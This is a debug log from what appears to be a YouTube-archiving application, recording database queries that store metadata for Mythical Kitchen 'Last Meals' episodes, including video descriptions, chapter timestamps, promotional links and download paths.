https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Brain Tumor Survivor Simone Giertz Eats Her Last Meal", "9417da2b-c10f-4a44-8822-c4e79d783170", "https://www.youtube.com/watch?v=rs9A20wRUxI", false, "rs9A20wRUxI", 2468, false, 35, "/downloads/Last Meals/2025-01-16 Brain Tumor Survivor Simone Giertz Eats Her Last Meal/Brain Tumor Survivor Simone Giertz Eats Her Last Meal [rs9A20wRUxI].mp4", false, false, 1, [], 1, ~U[2025-01-16 11:01:08Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Simone Giertz eats her last meal. \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n0:00 Simone's Last Meal\n1:49 How Often Do You Think About Death?\n3:23 1st Course\n6:24 Former Queen Of Shitty Robots\n9:18 Seeing Humanity In Robots\n10:13 Inventing The First Tesla Pickup Truck\n11:21 A Pawn In Robot Overlord Propaganda\n12:05 2nd Course\n14:04 Surviving A Brain Tumor\n16:40 Learning To Ask For Help\n18:03 Dating Your Brain Tumor (& Sending It To Antarctica)\n20:46 3rd Course\n21:48 FORKS\n25:30 Starring In A Chinese Sitcom\n28:48 Am I Ever Going To Feel Better?\n30:49 Generational Fate\n32:07 4th Course\n35:15 Spirituality\n36:45 Simone's Future\n37:54 Lightning Round\n40:25 Simone's Last Words\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01 (truncated) 20:49:32.294 [debug] QUERY OK source="sources" db=0.0ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.294 [debug] QUERY OK source="media_items" db=0.1ms idle=2.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-04 11:00:59Z], 1] 20:49:32.295 [debug] QUERY OK source="media_items" db=0.7ms idle=2.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Neil deGrasse Tyson eats his last meal. \n\nTo get your questions about the cosmos answered, check out Neil's book! Just Visiting This Planet: https://a.co/d/dWfSrAH\n\nChapters\n0:00 Neil's Last Meal\n0:27 Science Fair Beef\n1:55 Why Wait For Your Last Meal To Eat Good Food?\n3:42 1st Course\n6:06 Lessons From Wrestling\n8:46 Aliens Can Watch Our TV Shows\n11:12 Should Scientists Run The Government?\n18:08 2nd Course\n19:36 Lasagna & Space Exploration\n22:45 Is There Room For God?\n27:14 Pluto Had It Coming\n29:00 Seveneves\n30:46:00 A Death-Free Meal\n31:38 3rd Course\n35:40 If I'm Going To Mars, I'm Bringing Pizza\n40:09 Death Gives Life Meaning\n41:50:00 Being A Hopeful Realist\n44:43:00 Winning A Victory For Humanity\n48:00:00 What Do You Think Happens When You Die?\n50:01:00 What About AI?\n52:06:00 The Most Mindblowing Fact Neil Knows\n53:44:00 Lightning Round\n56:10 Neil's Last Words\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Neil deGrasse Tyson Eats His Last Meal", "aacab6b4-94c0-4652-b3e4-8408f6ccce71", "https://www.youtube.com/watch?v=V-daEZp3YLA", false, "V-daEZp3YLA", 3416, false, 36, "/downloads/Last Meals/2025-12-04 Neil deGrasse Tyson Eats His Last Meal/Neil deGrasse Tyson Eats His Last Meal [V-daEZp3YLA].mp4", false, false, 1, [], 1, ~U[2025-12-04 11:00:59Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Neil deGrasse Tyson eats his last meal. \n\nTo get your questions about the cosmos answered, check out Neil's book! Just Visiting This Planet: https://a.co/d/dWfSrAH\n\nChapters\n0:00 Neil's Last Meal\n0:27 Science Fair Beef\n1:55 Why Wait For Your Last Meal To Eat Good Food?\n3:42 1st Course\n6:06 Lessons From Wrestling\n8:46 Aliens Can Watch Our TV Shows\n11:12 Should Scientists Run The Government?\n18:08 2nd Course\n19:36 Lasagna & Space Exploration\n22:45 Is There Room For God?\n27:14 Pluto Had It Coming\n29:00 Seveneves\n30:46:00 A Death-Free Meal\n31:38 3rd Course\n35:40 If I'm Going To Mars, I'm Bringing Pizza\n40:09 Death Gives Life Meaning\n41:50:00 Being A Hopeful Realist\n44:43:00 Winning A Victory For Humanity\n48:00:00 What Do You Think Happens When You Die?\n50:01:00 What About AI?\n52:06:00 The Most Mindblowing Fact Neil Knows\n53:44:00 Lightning Round\n56:10 Neil's Last Words\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Neil deGrasse Tyson Eats His Last Meal", "https://www.youtube.com/watch?v=V-daEZp3YLA", "V-daEZp3YLA", 3416, false, "/downloads/Last Meals/2025-12-04 Neil deGrasse Tyson Eats His Last Meal/Neil deGrasse Tyson Eats His Last Meal [V-daEZp3YLA].mp4", false, 1, ~U[2025-12-04 11:00:59Z]] 20:49:32.295 [debug] QUERY OK source="sources" db=0.0ms idle=2.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.295 [debug] QUERY OK source="media_items" db=0.1ms idle=1.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-08-20 10:00:02Z], 1] 20:49:32.297 [debug] QUERY OK source="media_items" db=0.9ms idle=1.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Shayne Topp is eating his last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\n0:00 Shayne's Last Meal\n0:20 Philip Brownley From Briarwood\n1:23 Have You Thought About Your Last Meal Before?\n2:03 How Often Do You Think About Death?\n3:01 1st Course (Bringing Back The OG Chili's Chicken Crispers)\n4:58 Standing Up For Arby's\n5:30 Drowning As A Baby\n8:45 Mom's Clairvoyance\n10:06 Teenage Existentialism\n12:54 2nd Course\n15:02 Catching Lobsters With Dad\n16:11 Pressure On Child Actors\n18:15 Early Journal Cringe\n22:00 Dear Lemon Lima\n25:19 3rd Course\n26:58 Onscreen Persona Vs. The Real Shayne\n29:44 Getting Married & Going Public\n32:19 YouTube Vs. Traditional Celebrities\n33:03 How To Be A Fan\n35:05 4th Course\n36:24 17 Year Old Prophet\n37:55 Reflect & Respect\n38:38 So Random Method Acting\n39:41 Wanting To Be A Therapist\n41:47 The Failures Are A Gift\n44:07 What Happens When You Die?\n45:29 Lightning Round\n48:10 Shayne's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Shayne Topp Eats His Last Meal", "7c965597-2831-4787-95af-cd86b66304f3", "https://www.youtube.com/watch?v=0AW6tWTRLeU", false, "0AW6tWTRLeU", 2960, false, 37, "/downloads/Last Meals/2024-08-20 Shayne Topp Eats His Last Meal/Shayne Topp Eats His Last Meal [0AW6tWTRLeU].mp4", false, false, 1, [], 1, ~U[2024-08-20 10:00:02Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Shayne Topp is eating his last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\n0:00 Shayne's Last Meal\n0:20 Philip Brownley From Briarwood\n1:23 Have You Thought About Your Last Meal Before?\n2:03 How Often Do You Think About Death?\n3:01 1st Course (Bringing Back The OG Chili's Chicken Crispers)\n4:58 Standing Up For Arby's\n5:30 Drowning As A Baby\n8:45 Mom's Clairvoyance\n10:06 Teenage Existentialism\n12:54 2nd Course\n15:02 Catching Lobsters With Dad\n16:11 Pressure On Child Actors\n18:15 Early Journal Cringe\n22:00 Dear Lemon Lima\n25:19 3rd Course\n26:58 Onscreen Persona Vs. The Real Shayne\n29:44 Getting Married & Going Public\n32:19 YouTube Vs. Traditional Celebrities\n33:03 How To Be A Fan\n35:05 4th Course\n36:24 17 Year Old Prophet\n37:55 Reflect & Respect\n38:38 So Random Method Acting\n39:41 Wanting To Be A Therapist\n41:47 The Failures Are A Gift\n44:07 What Happens When You Die?\n45:29 Lightning Round\n48:10 Shayne's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( (truncated) 20:49:32.297 [debug] QUERY OK source="sources" db=0.0ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.297 [debug] QUERY OK source="media_items" db=0.1ms idle=1.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-07 10:01:16Z], 1] 20:49:32.298 [debug] QUERY OK source="media_items" db=0.6ms idle=1.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Julia Garner eats her last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Julia's Last Meal\n0:28 Beware Vegetable Peelers\n2:05 Josh Is Garfield\n2:38 1st Course\n4:05 Food & Death\n6:45 Fear Used To Control People\n7:53 Horror Movies\n10:23 2nd Course\n11:14 The Real Housewives of Orange County\n13:11 What Would You Do If You Were About To Die?\n14:23 Bring Back Being A Star \n14:56 The Process Is More Interesting Than The Result\n16:58 Mastering Every Accent\n18:35 Sharing Emotions With Characters\n20:23 Pepperoni In Lasagna\n21:02 Sleeptalking As Anna Delvey\n21:57 3rd Course\n22:51 Making Time To Bed Rot\n25:49 Keeping A Journal For Characters\n28:35 Great Storytelling Always Wins\n29:35 Going To Clown School\n30:06 Is Acting Lying?\n32:20 4th Course\n34:26 How Do You Cope With Grief?\n34:52 Playing Ruth In Ozark\n38:18 Lightning Round\n40:38 Julia's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Julia Garner Eats Her Last Meal", "87812a98-4899-4ae7-908d-e2aa4931d542", "https://www.youtube.com/watch?v=eQH5AMqpuYU", false, "eQH5AMqpuYU", 2469, false, 38, "/downloads/Last Meals/2025-08-07 Julia Garner Eats Her Last Meal/Julia Garner Eats Her Last Meal [eQH5AMqpuYU].mp4", false, false, 1, [], 1, ~U[2025-08-07 10:01:16Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Julia Garner eats her last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Julia's Last Meal\n0:28 Beware Vegetable Peelers\n2:05 Josh Is Garfield\n2:38 1st Course\n4:05 Food & Death\n6:45 Fear Used To Control People\n7:53 Horror Movies\n10:23 2nd Course\n11:14 The Real Housewives of Orange County\n13:11 What Would You Do If You Were About To Die?\n14:23 Bring Back Being A Star \n14:56 The Process Is More Interesting Than The Result\n16:58 Mastering Every Accent\n18:35 Sharing Emotions With Characters\n20:23 Pepperoni In Lasagna\n21:02 Sleeptalking As Anna Delvey\n21:57 3rd Course\n22:51 Making Time To Bed Rot\n25:49 Keeping A Journal For Characters\n28:35 Great Storytelling Always Wins\n29:35 Going To Clown School\n30:06 Is Acting Lying?\n32:20 4th Course\n34:26 How Do You Cope With Grief?\n34:52 Playing Ruth In Ozark\n38:18 Lightning Round\n40:38 Julia's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning 